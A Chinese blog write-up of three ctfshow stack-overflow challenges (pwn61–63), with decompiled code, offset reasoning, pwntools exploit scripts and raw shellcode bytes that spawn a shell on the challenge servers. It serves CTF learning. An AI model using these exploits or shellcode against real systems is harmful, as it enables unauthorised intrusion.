紫罗兰永pwn花园

pwn61

提示看输出

交互

C:\Users\26597>nc pwn.challenge.ctf.show 28225
   ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄
 ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██
██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██
 ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀
   ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀
   * *************************************
   * Classify: CTFshow --- PWN --- 入门
   * Type : Stack_Overflow
   * Site : https://ctf.show/
   * Hint : Use shellcode to get shell!
   * *************************************
Welcome to CTFshow!
What's this : [0x7ffef4fdfd70] ?
Maybe it's useful ! But how to use it?

输出了一个莫名其妙的数字

一眼是地址

返回去看main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
 FILE *v3; // rdi
 _QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF

 v5[0] = 0LL;
 v5[1] = 0LL;
 v3 = _bss_start;
 setvbuf(_bss_start, 0LL, 1, 0LL);
 logo(v3, 0LL);
 puts("Welcome to CTFshow!");
 printf("What's this : [%p] ?\n", v5);
 puts("Maybe it's useful ! But how to use it?");
 gets(v5);
 return 0;
}

这里可以看到,这里通过占位符输出的是v5的地址

v5到栈底的位置是0x10

64位程序

所以偏移量就0x10+8

多次交互,发现这个地址位置在变化

所以需要想办法截取这个v5的地址,于是

p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))

拿到了v5的地址,就可以对应着传入shellcode了

根据这个方法,写出exp:

from pwn import *
context(arch="amd64",log_level="debug")
p = remote("pwn.challenge.ctf.show",28255)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(offset), shellcode_area, shellcode])
p.sendline(payload)
p.interactive()

但是

不出意外是出意外了

打不通

网上找各位佬的文章

发现存在一个问题

shellcode太长,超出了v4,v5的范围

Shellcode 的长度通常会超过 v5 的空间(8 字节)。如果直接覆盖 v5,Shellcode 的部分内容可能会被截断。此外,leave ret 之后,程序可能会跳转到一个无效地址,导致崩溃

去搜索了一下leave

等价于 mov rsp, rbp 和 pop rbp。

它将 rbp 的值赋给 rsp,从而恢复上一个栈帧的栈指针。

然后从栈上弹出 rbp 的值,恢复上一个栈帧的基指针。

所以我们把shellcode写在v5后面就是offset+0x8的位置,因为还有一个返回地址的位置

也就是说,offset+0x8是为了完全填充略过v5的空间,直接往后写

最终exp:

from pwn import *
context(arch="amd64",log_level="debug")
p = remote("pwn.challenge.ctf.show",28255)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(offset), shellcode_area + offset +8, shellcode])
p.sendline(payload)
p.interactive()

pwn62

类似上题

将v5改成了buf

跟进buf,发现

-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010
-0000000000000010     _QWORD buf;
-0000000000000008     _QWORD var_8;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

这里可以看到buf实则为8字节

再看main函数

大致情况和上题一致

int __fastcall main(int argc, const char **argv, const char **envp)
{
 FILE *v3; // rdi
 _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

 buf[0] = 0LL;
 buf[1] = 0LL;
 v3 = _bss_start;
 setvbuf(_bss_start, 0LL, 1, 0LL);
 logo(v3, 0LL);
 puts("Welcome to CTFshow!");
 printf("What's this : [%p] ?\n", buf);
 puts("Maybe it's useful ! But how to use it?");
 read(0, buf, 0x38uLL);
 return 0;
}

0x10+0x8=24字节

选用上题的shellcode的话,shellcode的长度会是48字节

这样在读取buf段内容时,由于只读0x38=56字节的内容

就会导致payload被从中间截断

所以需要传入更短的shellcode

找到一组shellcode

32 位 短字节 shellcode -> 21 字节

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64 位 较短的 shellcode -> 23 字节

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05 

23+24+8=55字节

from pwn import *
context(arch="amd64")
p = remote("pwn.challenge.ctf.show",28203)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
# shellcode1 = asm(shellcraft.sh())
# print(len(shellcode1))
# 这里算出来的直接生成的shellcode长度为48,故最后还是得自行输入一个最短shellcode
payload = flat([cyclic(offset), shellcode_area + offset +8 , shellcode])
p.sendline(payload)
p.interactive()

pwn63

题目说是变了,确实又短了一点

但是并不影响上一个的shellcode

int __fastcall main(int argc, const char **argv, const char **envp)
{
 FILE *v3; // rdi
 _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

 buf[0] = 0LL;
 buf[1] = 0LL;
 v3 = _bss_start;
 setvbuf(_bss_start, 0LL, 1, 0LL);
 logo(v3, 0LL);
 puts("Welcome to CTFshow!");
 printf("What's this : [%p] ?\n", buf);
 puts("Maybe it's useful ! But how to use it?");
 read(0, buf, 0x37uLL);
 return 0;
}

就短了0x1

也就是只能输入55字节

而之前的shellcode传进去刚好55字节

直接照搬exp就能出

from pwn import *
context(arch="amd64")
p = remote("pwn.challenge.ctf.show",28209)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
# shellcode1 = asm(shellcraft.sh())
# print(len(shellcode1))

payload = flat([cyclic(offset), shellcode_area + offset +8 , shellcode])
p.sendline(payload)
p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇